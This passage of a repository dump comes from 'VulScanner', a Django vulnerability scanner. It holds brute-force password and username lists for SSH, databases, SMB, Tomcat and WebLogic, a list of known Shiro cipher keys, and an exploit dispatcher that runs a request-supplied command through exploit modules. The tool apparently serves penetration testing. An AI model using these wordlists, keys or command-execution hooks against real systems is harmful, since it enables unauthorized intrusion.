{{ forloop.counter }}{{ i.ip_range }} 28 | 29 | {{ i.description }} 30 | 31 | {{ i.start_time }} 34 | 35 | {% if i.service_process == i.task_count %} 36 | 已完成 37 | {% else %} 38 | 未完成 39 | {% endif %} 40 | 41 | 43 | 44 | {% if i.vuln_process == i.vuln_count and i.vuln_count != 0 %} 45 | 已完成 46 | {% else %} 47 | 未完成 48 | {% endif %} 49 | 50 | 52 | 55 |
59 | 88 | {% endblock %} -------------------------------------------------------------------------------- /templatetags/__pycache__/my_tags.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/templatetags/__pycache__/my_tags.cpython-37.pyc -------------------------------------------------------------------------------- /templatetags/my_tags.py: -------------------------------------------------------------------------------- 1 | from django import template 2 | 3 | register = template.Library() 4 | 5 | 6 | @register.filter 7 | def text2html(v1: str): 8 | return v1.replace("\n", "
").replace(" ", " ").replace("\t", " " * 4) 9 | 10 | 11 | @register.filter 12 | def contain(v1: str, v2: str): 13 | if v2 in v1: 14 | return True 15 | 16 | @register.filter 17 | def url(v1: str): 18 | if v1 == "": 19 | return "javascript:void(0)" 20 | 21 | @register.filter 22 | def get_dict(v1: dict, v2: str): 23 | return v1[v2] 24 | 25 | @register.filter 26 | def opposite(v1: bool): 27 | return not bool -------------------------------------------------------------------------------- /vulscan_Project/ExpUtil.py: -------------------------------------------------------------------------------- 1 | from django.http import HttpRequest 2 | from VulnScanModel.models import VulnScan 3 | import traceback 4 | 5 | 6 | def exp(request: HttpRequest): 7 | v = VulnScan.objects.get(id=request.GET["id"]) 8 | module = __import__("vulscan_Project.modules.%s_exp" % v.module, fromlist=v.module) 9 | func = getattr(module, "exp") 10 | if "content" in request.GET: 11 | content = request.GET["content"] 12 | else: 13 | content = "" 14 | try: 15 | result = func(v, request.GET["cmd"], content).replace("\\t", " "*4).strip() 16 | except Exception as e: 17 | traceback.print_exc() 18 | result = "" 19 | return result -------------------------------------------------------------------------------- /vulscan_Project/IpModelUtil.py: -------------------------------------------------------------------------------- 1 | import html 2 | import re 3 | 4 | from ScanTaskModel.models import ScanTask 5 | from IpModel.models import IpScan 6 | from . import requestUtil 7 | 8 | api_url = "https://ip.bmcx.com/?dz=" 9 | 10 | def get_ips(query, page=0, each_num=0): 11 | if page == 0: 12 | ip_list = IpScan.objects.extra(where=[query]) 13 | else: 14 | ip_list = IpScan.objects.extra(where=[query])[(page - 1) * each_num:page * each_num] 15 | return ip_list 16 | 17 | def get_count(task_id, page=0, each_num=0): # 获取结果集总数 18 | try: 19 | query = "1=1" 20 | query += " and taskid=%s" % (task_id) 21 | ip_list = get_ips(query, page, each_num) 22 | return ip_list.count() 23 | except: 24 | return 0 25 | 26 | def get_results(task_id, isAll=False, page=0, each_num=0): # 获取扫描结果，isAll=True获取所有结果，否则获取未显示结果 27 | result_list = [] 28 | if isAll: 29 | query = "1=1" 30 | else: 31 | query = "isShown=False" 32 | query += " and taskid=%s" % (task_id) 33 | ip_list = get_ips(query, page, each_num) 34 | for i in ip_list: 35 | result_list.append(i) 36 | i.isShown = True 37 | i.save() 38 | return result_list 39 | 40 | def ip_scan(location): 41 | location = html.escape(location) 42 | resp = requestUtil.get(api_url + location) 43 | # print(resp.text) 44 | results = (re.findall( 45 | '(.*?)(.*?)', 46 | resp.text)) 47 | task = ScanTask(ip_range=location, task_count=len(results), mode="ip") 48 | task.save() 49 | tid = task.id 50 | count = 0 51 | try: 52 | for i in results: 53 | count += 1 54 | ipscan = IpScan(ip=i[0], location=i[1], taskid=tid) 55 | ipscan.save() 56 | task.service_process += 1 57 | finally: 58 | task.save() 59 | return True 60 | 61 | -------------------------------------------------------------------------------- /vulscan_Project/IpUtil.py: -------------------------------------------------------------------------------- 1 | import IPy 2 | import re 3 | 4 | 5 | ip_re1 = r"((([0-9]+?)\.){3}([0-9]+?)(/([0-9]+))?;?)+" 6 | ip_re2 = r"((([0-9]+?)\.){3}([0-9]+?)( )*-( )*(([0-9]+?)\.){3}([0-9]+?))" 7 | 8 | 9 | def dec2ip(dec_ip): 10 | str_ip = str(bin(dec_ip)) 11 | return ("%d.%d.%d.%d" % ( 12 | int(str_ip[:-24], 2), int(str_ip[-24:-16], 2), int(str_ip[-16:-8], 2), int(str_ip[-8:], 2))) 13 | 14 | 15 | def get_ips(ip, mode): 16 | ip_list = [] 17 | mode = 32 - mode 18 | ip = IPy.IP(ip) 19 | ip_dec = int(ip.strDec()) 20 | ip_base = int(ip_dec / pow(2, mode)) * pow(2, mode) 21 | for i in range(0, pow(2, mode)): 22 | dec_ip = ip_base + i 23 | ip_list.append(dec2ip(dec_ip)) 24 | return ip_list 25 | 26 | def get_all_ips(ips: str): 27 | all_ip_list = [] 28 | ips_list = ips.split(";") 29 | print(ips_list) 30 | for ips in ips_list: 31 | if not re.match(ip_re1, ips) and not re.match(ip_re2, ips): 32 | return [] 33 | if r"/" in ips: 34 | ip = ips.split("/")[0] 35 | mode = int(ips.split("/")[-1]) 36 | ip_list = get_ips(ip, mode) 37 | elif "-" in ips: 38 | ip_list = [] 39 | fip = int(IPy.IP(ips.split("-")[0].strip()).strDec()) 40 | lip = int(IPy.IP(ips.split("-")[-1].strip()).strDec()) 41 | for i in range(fip, lip+1): 42 | ip_list.append(dec2ip(i)) 43 | else: 44 | ip_list = [ips] 45 | all_ip_list.extend(ip_list) 46 | return all_ip_list 47 | 48 | -------------------------------------------------------------------------------- /vulscan_Project/__init__.py: -------------------------------------------------------------------------------- 1 | import pymysql 2 | 3 | pymysql.version_info = (1, 4, 13, "final", 0) 4 | pymysql.install_as_MySQLdb() 5 | -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/ExpUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/ExpUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/IpModelUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/IpModelUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/IpUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/IpUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/fileUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/fileUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/json.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/json.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/pageUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/pageUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/pocModelUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/pocModelUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/pocUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/pocUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/requestUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/requestUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/scan.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/scan.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/serviceUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/serviceUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/settings.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/settings.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/test.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/test.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/urls.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/urls.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/vulnUtil.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/vulnUtil.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/__pycache__/wsgi.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/__pycache__/wsgi.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for vulscan_Project project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'vulscan_Project.settings') 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_cobaltstrike/dic_password_cobaltstrike.txt: -------------------------------------------------------------------------------- 1 | admin 2 | admin123 3 | admin1234 4 | admin123456 5 | admin12345 6 | admin@123 7 | admin@123456 8 | admin@12345 9 | admin#123 10 | admin#123456 11 | admin#12345 12 | admin_123 13 | admin_123456 14 | admin_12345 15 | admin123!@# 16 | admin!@#$ 17 | admin!@# 18 | admin~!@ 19 | admin!@#123 20 | qweasdzxc 21 | admin2017 22 | admin2016 23 | admin2015 24 | admin@2017 25 | admin@2016 26 | admin@2015 27 | Passw0rd 28 | qweasdzxc 29 | admin123!@# 30 | admin 31 | admin123 32 | admin@123 33 | admin#123 34 | 123456 35 | password 36 | 12345 37 | 1234 38 | root 39 | 123 40 | qwerty 41 | test 42 | 1q2w3e4r 43 | 1qaz2wsx 44 | qazwsx 45 | 123qwe 46 | 123qaz 47 | 0000 48 | oracle 49 | 1234567 50 | 123456qwerty 51 | password123 52 | 12345678 53 | 1q2w3e 54 | abc123 55 | okmnji 56 | test123 57 | 123456789 58 | postgres 59 | q1w2e3r4 60 | redhat 61 | user 62 | mysql 63 | apache -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_cobaltstrike/dic_username_cobaltstrike.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_ftp/dic_password_ftp.txt: -------------------------------------------------------------------------------- 1 | 2 | %user% 3 | %user%123 4 | %user%1234 5 | %user%123456 6 | %user%12345 7 | %user%@123 8 | %user%@123456 9 | %user%@12345 10 | %user%#123 11 | %user%#123456 12 | %user%#12345 13 | %user%_123 14 | %user%_123456 15 | %user%_12345 16 | %user%123!@# 17 | %user%!@#$ 18 | %user%!@# 19 | %user%~!@ 20 | %user%!@#123 21 | qweasdzxc 22 | %user%2017 23 | %user%2016 24 | %user%2015 25 | %user%@2017 26 | %user%@2016 27 | %user%@2015 28 | Passw0rd 29 | admin123 30 | admin888 31 | administrator 32 | administrator123 33 | ftp 34 | ftppass 35 | 123456 36 | password 37 | 12345 38 | 1234 39 | root 40 | 123 41 | qwerty 42 | test 43 | 1q2w3e4r 44 | 1qaz2wsx 45 | qazwsx 46 | 123qwe 47 | 123qaz 48 | 0000 49 | oracle 50 | 1234567 51 | 123456qwerty 52 | password123 53 | 12345678 54 | 1q2w3e 55 | abc123 56 | okmnji 57 | test123 58 | 123456789 59 | q1w2e3r4 60 | user 61 | mysql 62 | web -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_ftp/dic_username_ftp.txt: -------------------------------------------------------------------------------- 1 | anonymous 2 | administrator 3 | ftp 4 | test 5 | admin 6 | web -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_mongodb/dic_password_mongodb.txt: -------------------------------------------------------------------------------- 1 | admin 2 | mongodb 3 | %user% 4 | %user%123 5 | %user%1234 6 | %user%123456 7 | %user%12345 8 | %user%@123 9 | %user%@123456 10 | %user%@12345 11 | %user%#123 12 | %user%#123456 13 | %user%#12345 14 | %user%_123 15 | %user%_123456 16 | %user%_12345 17 | %user%123!@# 18 | %user%!@#$ 19 | %user%!@# 20 | 21 | %user%~!@ 22 | %user%!@#123 23 | Passw0rd 24 | qweasdzxc 25 | %user%2017 26 | %user%2016 27 | %user%2015 28 | %user%@2017 29 | %user%@2016 30 | %user%@2015 31 | admin123 32 | admin888 33 | administrator 34 | administrator123 35 | mongodb123 36 | mongodbpass 37 | 123456 38 | password 39 | 12345 40 | 1234 41 | root 42 | 123 43 | qwerty 44 | test 45 | 1q2w3e4r 46 | 1qaz2wsx 47 | qazwsx 48 | 123qwe 49 | 123qaz 50 | 0000 51 | oracle 52 | 1234567 53 | 123456qwerty 54 | password123 55 | 12345678 56 | 1q2w3e 57 | abc123 58 | okmnji 59 | test123 60 | 123456789 61 | q1w2e3r4 62 | user 63 | web 64 | 65 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_mongodb/dic_username_mongodb.txt: -------------------------------------------------------------------------------- 1 | admin 2 | test 3 | system 4 | web 5 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_mssql/dic_password_mssql.txt: -------------------------------------------------------------------------------- 1 | admin 2 | %user% 3 | %user%123 4 | %user%1234 5 | %user%123456 6 | %user%12345 7 | %user%@123 8 | %user%@123456 9 | %user%@12345 10 | %user%#123 11 | %user%#123456 12 | %user%#12345 13 | %user%_123 14 | %user%_123456 15 | %user%_12345 16 | %user%123!@# 17 | %user%!@#$ 18 | %user%!@# 19 | %user%~!@ 20 | %user%!@#123 21 | qweasdzxc 22 | %user%2017 23 | %user%2016 24 | %user%2015 25 | %user%@2017 26 | %user%@2016 27 | %user%@2015 28 | Passw0rd 29 | qweasdzxc 30 | admin123 31 | admin888 32 | administrator 33 | administrator123 34 | sa123 35 | ftp 36 | ftppass 37 | 123456 38 | password 39 | 12345 40 | 1234 41 | sa 42 | 123 43 | qwerty 44 | test 45 | 1q2w3e4r 46 | 1qaz2wsx 47 | qazwsx 48 | 123qwe 49 | 123qaz 50 | 0000 51 | oracle 52 | 1234567 53 | 123456qwerty 54 | password123 55 | 12345678 56 | 1q2w3e 57 | abc123 58 | okmnji 59 | test123 60 | 123456789 61 | q1w2e3r4 62 | sqlpass 63 | sql123 64 | sqlserver 65 | web 66 | 123123 -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_mssql/dic_username_mssql.txt: -------------------------------------------------------------------------------- 1 | sa -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_mysql/dic_password_mysql.txt: -------------------------------------------------------------------------------- 1 | %user% 2 | %user%123 3 | %user%1234 4 | %user%123456 5 | %user%12345 6 | %user%@123 7 | %user%@123456 8 | %user%@12345 9 | %user%#123 10 | %user%#123456 11 | %user%#12345 12 | %user%_123 13 | %user%_123456 14 | %user%_12345 15 | %user%123!@# 16 | %user%!@#$ 17 | %user%!@# 18 | %user%~!@ 19 | %user%!@#123 20 | qweasdzxc 21 | %user%2017 22 | %user%2016 23 | %user%2015 24 | %user%@2017 25 | %user%@2016 26 | %user%@2015 27 | qweasdzxc 28 | Passw0rd 29 | admin123 30 | admin888 31 | qwerty 32 | test 33 | 1q2w3e4r 34 | 1qaz2wsx 35 | qazwsx 36 | 123qwe 37 | 123qaz 38 | 123456qwerty 39 | password123 40 | 1q2w3e 41 | okmnji 42 | test123 43 | test12345 44 | test123456 45 | q1w2e3r4 46 | mysql 47 | web 48 | %username% 49 | %null% 50 | 123 51 | 1234 52 | 12345 53 | 123456 54 | admin 55 | pass 56 | password 57 | !null! 58 | !user! 59 | 1234567 60 | 7654321 61 | abc123 62 | 111111 63 | 123321 64 | 123123 65 | 12345678 66 | 123456789 67 | 000000 68 | 888888 69 | 654321 70 | 987654321 71 | 147258369 72 | 123asd 73 | qwer123 74 | P@ssw0rd 75 | root3306 76 | Q1W2E3b3 -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_mysql/dic_username_mysql.txt: -------------------------------------------------------------------------------- 1 | root -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_postgresql/dic_password_postgresql.txt: -------------------------------------------------------------------------------- 1 | admin 2 | Passw0rd 3 | postgres 4 | %user% 5 | %user%123 6 | %user%1234 7 | %user%123456 8 | %user%12345 9 | %user%@123 10 | %user%@123456 11 | %user%@12345 12 | %user%#123 13 | %user%#123456 14 | %user%#12345 15 | %user%_123 16 | %user%_123456 17 | %user%_12345 18 | %user%123!@# 19 | %user%!@#$ 20 | %user%!@# 21 | %user%~!@ 22 | %user%!@#123 23 | qweasdzxc 24 | %user%2017 25 | %user%2016 26 | %user%2015 27 | %user%@2017 28 | %user%@2016 29 | %user%@2015 30 | admin123 31 | admin888 32 | administrator 33 | administrator123 34 | root123 35 | ftp 36 | ftppass 37 | 123456 38 | password 39 | 12345 40 | 1234 41 | root 42 | 123 43 | qwerty 44 | test 45 | 1q2w3e4r 46 | 1qaz2wsx 47 | qazwsx 48 | 123qwe 49 | 123qaz 50 | 0000 51 | oracle 52 | 1234567 53 | 123456qwerty 54 | password123 55 | 12345678 56 | 1q2w3e 57 | abc123 58 | okmnji 59 | test123 60 | 123456789 61 | q1w2e3r4 62 | user 63 | web -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_postgresql/dic_username_postgresql.txt: -------------------------------------------------------------------------------- 1 | postgres 2 | test 3 | admin 4 | web -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_redis/dic_password_redis.txt: -------------------------------------------------------------------------------- 1 | 2 | Passw0rd 3 | admin 4 | %user% 5 | %user%123 6 | %user%1234 7 | %user%123456 8 | %user%12345 9 | %user%@123 10 | %user%@123456 11 | %user%@12345 12 | %user%#123 13 | %user%#123456 14 | %user%#12345 15 | %user%_123 16 | %user%_123456 17 | %user%_12345 18 | %user%123!@# 19 | %user%!@#$ 20 | %user%!@# 21 | %user%~!@ 22 | %user%!@#123 23 | qweasdzxc 24 | %user%2017 25 | %user%2016 26 | %user%2015 27 | %user%@2017 28 | %user%@2016 29 | %user%@2015 30 | admin123 31 | admin888 32 | administrator 33 | administrator123 34 | root123 35 | 123456 36 | password 37 | 12345 38 | 1234 39 | root 40 | 123 41 | qwerty 42 | test 43 | 1q2w3e4r 44 | 1qaz2wsx 45 | qazwsx 46 | 123qwe 47 | 123qaz 48 | 0000 49 | oracle 50 | 1234567 51 | 123456qwerty 52 | password123 53 | 12345678 54 | 1q2w3e 55 | abc123 56 | okmnji 57 | test123 58 | 123456789 59 | q1w2e3r4 60 | user 61 | web -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_redis/dic_username_redis.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/dict/dict_redis/dic_username_redis.txt -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_shiro/key.txt: -------------------------------------------------------------------------------- 1 | kPH+bIxk5D2deZiIxcaaaA== 2 | 2AvVhdsgUs0FSA3SDFAdag== 3 | 3AvVhmFLUs0KTA3Kprsdag== 4 | 4AvVhmFLUs0KTA3Kprsdag== 5 | 5aaC5qKm5oqA5pyvAAAAAA== 6 | 6ZmI6I2j5Y+R5aSn5ZOlAA== 7 | bWljcm9zAAAAAAAAAAAAAA== 8 | wGiHplamyXlVB11UXWol8g== 9 | Z3VucwAAAAAAAAAAAAAAAA== 10 | MTIzNDU2Nzg5MGFiY2RlZg== 11 | U3ByaW5nQmxhZGUAAAAAAA== 12 | 5AvVhmFLUs0KTA3Kprsdag== 13 | fCq+/xW488hMTCD+cmJ3aQ== 14 | 1QWLxg+NYmxraMoxAXu/Iw== 15 | ZUdsaGJuSmxibVI2ZHc9PQ== 16 | L7RioUULEFhRyxM7a2R/Yg== 17 | r0e3c16IdVkouZgk1TKVMg== 18 | bWluZS1hc3NldC1rZXk6QQ== 19 | a2VlcE9uR29pbmdBbmRGaQ== 20 | WcfHGU25gNnTxTlmJMeSpw== 21 | ZAvph3dsQs0FSL3SDFAdag== 22 | tiVV6g3uZBGfgshesAQbjA== 23 | cmVtZW1iZXJNZQAAAAAAAA== 24 | ZnJlc2h6Y24xMjM0NTY3OA== 25 | RVZBTk5JR0hUTFlfV0FPVQ== 26 | WkhBTkdYSUFPSEVJX0NBVA== -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_shiro/payload.ser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/dict/dict_shiro/payload.ser -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_smb/dic_password_smb.txt: -------------------------------------------------------------------------------- 1 | %user% 2 | %user%123 3 | %user%1234 4 | %user%123456 5 | %user%12345 6 | %user%@123 7 | %user%@123456 8 | %user%@12345 9 | %user%#123 10 | %user%#123456 11 | %user%#12345 12 | %user%_123 13 | %user%_123456 14 | %user%_12345 15 | %user%123!@# 16 | %user%!@#$ 17 | %user%!@# 18 | %user%~!@ 19 | %user%!@#123 20 | qweasdzxc 21 | %user%2017 22 | %user%2016 23 | %user%2015 24 | %user%@2017 25 | %user%@2016 26 | %user%@2015 27 | Passw0rd 28 | admin123!@# 29 | admin 30 | admin123 31 | admin@123 32 | admin#123 33 | 123456 34 | password 35 | 12345 36 | 1234 37 | root 38 | 123 39 | qwerty 40 | test 41 | 1q2w3e4r 42 | 1qaz2wsx 43 | qazwsx 44 | 123qwe 45 | 123qaz 46 | 0000 47 | oracle 48 | 1234567 49 | 123456qwerty 50 | password123 51 | 12345678 52 | 1q2w3e 53 | abc123 54 | okmnji 55 | test123 56 | 123456789 57 | postgres 58 | q1w2e3r4 59 | redhat 60 | user 61 | mysql 62 | apache 63 | 64 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_smb/dic_username_smb.txt: -------------------------------------------------------------------------------- 1 | administrator 2 | admin 3 | test 4 | user 5 | manager 6 | webadmin 7 | guest 8 | db2admin -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_ssh/dic_password_ssh.txt: -------------------------------------------------------------------------------- 1 | Centos_7.0@ 2 | admin123!@# 3 | admin 4 | admin123 5 | admin@123 6 | admin#123 7 | 123456 8 | password 9 | 12345 10 | 1234 11 | root 12 | 123 13 | qwerty 14 | test 15 | 1q2w3e4r 16 | 1qaz2wsx 17 | qazwsx 18 | 123qwe 19 | 123qaz 20 | 0000 21 | oracle 22 | 1234567 23 | 123456qwerty 24 | password123 25 | 12345678 26 | 1q2w3e 27 | abc123 28 | test123 29 | 123456789 30 | q1w2e3r4 31 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_ssh/dic_password_ssh_2.txt: -------------------------------------------------------------------------------- 1 | Centos_8.0@ 2 | Centos_7.0@ 3 | root 4 | admin 5 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_ssh/dic_username_ssh.txt: -------------------------------------------------------------------------------- 1 | root 2 | admin -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_telnet/dic_password_ssh.txt: -------------------------------------------------------------------------------- 1 | %user% 2 | %user%123 3 | %user%1234 4 | %user%123456 5 | %user%12345 6 | %user%@123 7 | %user%@123456 8 | %user%@12345 9 | %user%#123 10 | %user%#123456 11 | %user%#12345 12 | %user%_123 13 | %user%_123456 14 | %user%_12345 15 | %user%123!@# 16 | %user%!@#$ 17 | %user%!@# 18 | %user%~!@ 19 | %user%!@#123 20 | qweasdzxc 21 | %user%2017 22 | %user%2016 23 | %user%2015 24 | %user%@2017 25 | %user%@2016 26 | %user%@2015 27 | Centos_7.0@ 28 | Passw0rd 29 | qweasdzxc 30 | admin123!@# 31 | admin 32 | admin123 33 | admin@123 34 | admin#123 35 | 123456 36 | password 37 | 12345 38 | 1234 39 | root 40 | 123 41 | qwerty 42 | test 43 | 1q2w3e4r 44 | 1qaz2wsx 45 | qazwsx 46 | 123qwe 47 | 123qaz 48 | 0000 49 | oracle 50 | 1234567 51 | 123456qwerty 52 | password123 53 | 12345678 54 | 1q2w3e 55 | abc123 56 | okmnji 57 | test123 58 | 123456789 59 | q1w2e3r4 60 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_telnet/dic_username_ssh.txt: -------------------------------------------------------------------------------- 1 | root 2 | test 3 | admin 4 | user 5 | guest 6 | system 7 | web 8 | guest 9 | sys 10 | linux 11 | temp 12 | www -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_tomcat/dic_tomcat_key.txt: -------------------------------------------------------------------------------- 1 | admin:admin 2 | admin:123456 3 | admin:s3cret 4 | admin:password 5 | root:password -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_webauth/dic_password_webauth.txt: -------------------------------------------------------------------------------- 1 | admin 2 | tomcat 3 | %user% 4 | %user%123 5 | %user%1234 6 | %user%123456 7 | %user%12345 8 | %user%@123 9 | %user%@123456 10 | %user%@12345 11 | %user%#123 12 | %user%#123456 13 | %user%#12345 14 | %user%_123 15 | %user%_123456 16 | %user%_12345 17 | %user%123!@# 18 | %user%!@#$ 19 | %user%!@# 20 | %user%~!@ 21 | %user%!@#123 22 | qweasdzxc 23 | %user%2017 24 | %user%2016 25 | %user%2015 26 | %user%@2017 27 | %user%@2016 28 | %user%@2015 29 | Passw0rd 30 | qweasdzxc 31 | admin123 32 | admin888 33 | administrator 34 | administrator123 35 | root123 36 | ftppass 37 | 123456 38 | password 39 | 12345 40 | 1234 41 | root 42 | qwerty 43 | test 44 | 1q2w3e4r 45 | 1qaz2wsx 46 | qazwsx 47 | 123qwe 48 | 123qaz 49 | 0000 50 | oracle 51 | 1234567 52 | 123456qwerty 53 | password123 54 | 12345678 55 | 1q2w3e 56 | abc123 57 | okmnji 58 | test123 59 | 123456789 60 | q1w2e3r4 61 | user 62 | web -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_webauth/dic_username_webauth.txt: -------------------------------------------------------------------------------- 1 | tomcat 2 | admin 3 | test -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_weblogic/dic_password_weblogic.txt: -------------------------------------------------------------------------------- 1 | Oracle@123 2 | weblogic 3 | password 4 | manager -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_weblogic/dic_username_weblogic.txt: -------------------------------------------------------------------------------- 1 | weblogic 2 | system 3 | WEBLOGIC 4 | -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_wmi/dic_password_wmi.txt: -------------------------------------------------------------------------------- 1 | administrator -------------------------------------------------------------------------------- /vulscan_Project/dict/dict_wmi/dic_username_wmi.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | -------------------------------------------------------------------------------- /vulscan_Project/dnsT00l.py: -------------------------------------------------------------------------------- 1 | from . import requestUtil 2 | 3 | cookies = "CNZZDATA1278305074=785399890-1607710109-null%7C1626551643; UM_distinctid=17a162147f1224-0ac81b389aed22-4c3f2d73-151800-17a162147f22f5; PHPSESSID=81d8qnkcc7nt97f3g53u3bi791" 4 | 5 | def get_dns_ip(): 6 | resp = requestUtil.get("http://www.dnslog.cn/getdomain.php?t=0.5165514214063338", cookies=cookies) 7 | return resp.text.strip() 8 | 9 | def get_result(): 10 | resp = requestUtil.get("http://www.dnslog.cn/getrecords.php?t=0.5165514214063338", cookies=cookies).json() 11 | if len(resp) > 0: 12 | return (resp[0][1], resp[0][2]) 13 | else: 14 | return False -------------------------------------------------------------------------------- /vulscan_Project/fileUtil.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from ScanTaskModel.models import ScanTask 4 | from ServiceScanModel.models import ServiceScan 5 | from VulnScanModel.models import VulnScan 6 | from IpModel.models import IpScan 7 | 8 | 9 | 10 | def export_file(task_id, mode): 11 | 